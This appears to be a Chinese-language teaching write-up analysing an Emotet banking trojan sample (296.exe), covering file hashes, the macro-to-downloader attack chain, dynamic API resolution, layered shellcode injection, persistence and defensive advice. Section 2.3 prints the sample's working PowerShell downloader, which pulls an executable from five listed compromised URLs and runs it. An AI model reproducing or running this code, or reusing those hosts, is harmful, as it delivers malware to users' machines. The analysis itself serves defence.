Emotet 银行木马 296.exe 病毒样本分析(一)
字数 1943 2025-08-06 18:07:33
Emotet银行木马样本分析教学文档
1. Emotet木马概述
Emotet是一种银行木马,首次发现于2014年6月,主要通过垃圾邮件传播,具有以下特点:
- 变种极多,持续演化
- 采用多阶段攻击链:宏文档 → 下载器 → 窃密程序
- 使用多种混淆和反分析技术
2. 第一阶段:恶意宏文档分析
2.1 样本信息
- HASH值:
- SHA256: 1c3afd309d4861152d2c543ca46a7bb052901bdfd990b5c07e1cab509aab9272
- MD5: d80d1322b4be9f19cb8efa7ecada7351
- SHA1: be9efb37ebba29888e1e6451cc6294bde8c30d04
2.2 攻击流程
- 文档内容诱导用户启用宏
- 宏代码执行PowerShell脚本
- PowerShell从多个URL下载恶意程序(296.exe)并执行
2.3 关键PowerShell代码分析
$Sonlfmxfglg = 'Xyysnkiuyxo';
$Eczadxvec = '296';
$Mwbgorhryfhne = $env:userprofile+'\'+$Eczadxvec+'.exe';
$Lvbojolxvxm=.('new-object') Net.WebClient;
$Fvovadshhtbo='http://adykurniawan.com/mp3/18ox6h/*http://myphamthanhbinh.net/wp-content/uploads/qDq/*http://sfmac.biz/calendar/K1a/*http://www.mjmechanical.com/wp-includes/ddy/*http://mojehaftom.com/wp-admin/1374xv/'.split('*');
foreach ($Qtswzgfskij in $Fvovadshhtbo){
try {
$Lvbojolxvxm."DownloadFile"($Qtswzgfskij, $Mwbgorhryfhne);
If ((&('Get-Item') $Mwbgorhryfhne)."Length" -ge 29177) {
[Diagnostics.Process]::"Start"($Mwbgorhryfhne);
break;
}
} catch {}
}
3. 第二阶段:恶意下载器分析
3.1 样本信息
- HASH值:
- MD5: 0f973d998083c92b8863f62ae6a93ac0
- SHA256: be403ce2d14f38b66528d438457927218f1aa44a68530bf46b2703da75dcc8bd
- SHA1: d27590b402b475ae11a93f2976c2de595ab1eac9
3.2 攻击流程
- 注册表干扰操作
- 动态获取DLL和函数地址
- 从资源中抽取恶意代码
- 多层ShellCode注入
- 环境检测和持久化
3.3 技术细节分析
3.3.1 注册表干扰行为
样本操作以下注册表项,可能是干扰分析:
Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerSoftware\Microsoft\Windows\CurrentVersion\Policies\NetworkSoftware\Microsoft\Windows\CurrentVersion\Policies\Comdlg32
3.3.2 动态获取技术
手法一:get_funbase
- 定位PE头
- 从PE头中找到数据目录表,获取导出表RVA
- 获取NumberOfNames值构造循环
- 从AddressOfNames开始匹配函数名
- 通过索引号检索AddressOfNameOrdinals数组
- 查询AddressOfFunctions获取函数地址
- 加上DLL基址得到真实入口地址
手法二:get_dllbase
- 根据PEB结构特征遍历获取DLL基址
- 调用大写转换函数匹配DLL名
手法三:get_funbase2
- 将get_dllbase和get_funbase功能合并
- 遍历PEB结构的InLoadOrderModuleList获取DLL基址
- 内嵌循环按函数名遍历导出表
手法四:match_hash_funaddress
- 使用预定义函数名HASH
- 动态计算HASH值进行匹配
- 更具目的性,干扰性更强
3.3.3 多层ShellCode注入
第一层ShellCode
- 加载CryptoAPI加密相关函数
- 使用动态获取手法二
- 包含空加密操作干扰分析
第二层ShellCode
- 使用特定函数名HASH动态获取函数
- 申请内存空间填充第三层ShellCode
- 修改内存访问权限
- 清除指令缓存
第三层ShellCode
- 预定义大量函数名HASH
- 使用动态获取手法四
- 获取ntdll.dll和kernel32.dll函数地址
- 检查进程路径和命令行参数
- 不匹配则启动带预定义参数的新进程
3.3.4 持久化技术
- 计算文件CRC
- 检索系统信息
- 生成系统目标目录
- 复制文件到系统目录并重命名为deployacquire.exe
- 删除原始文件
4. 防御建议
-
宏安全:
- 禁用Office宏或设置为高安全级别
- 教育用户不要启用可疑文档中的宏
-
网络防护:
- 拦截已知恶意域名
- 监控异常下载行为
-
系统加固:
- 限制PowerShell执行权限
- 监控注册表异常修改
- 启用行为检测对抗ShellCode注入
-
检测技术:
- 关注多层ShellCode注入行为
- 检测动态API获取技术
- 监控异常进程创建和文件操作
-
应急响应:
- 收集并分析IOC指标
- 检查系统目录异常文件
- 审查可疑进程和网络连接
5. 参考资源
- 《Windows PE权威指南》
- PEB结构分析技术
- 火绒实验室Emotet分析报告
- 看雪论坛相关技术文章
6. 后续分析方向
- 第三阶段窃密程序分析
- C2通信协议分析
- 持久化机制深入研究
- 对抗沙箱和虚拟机的技术细节
- 横向移动技术分析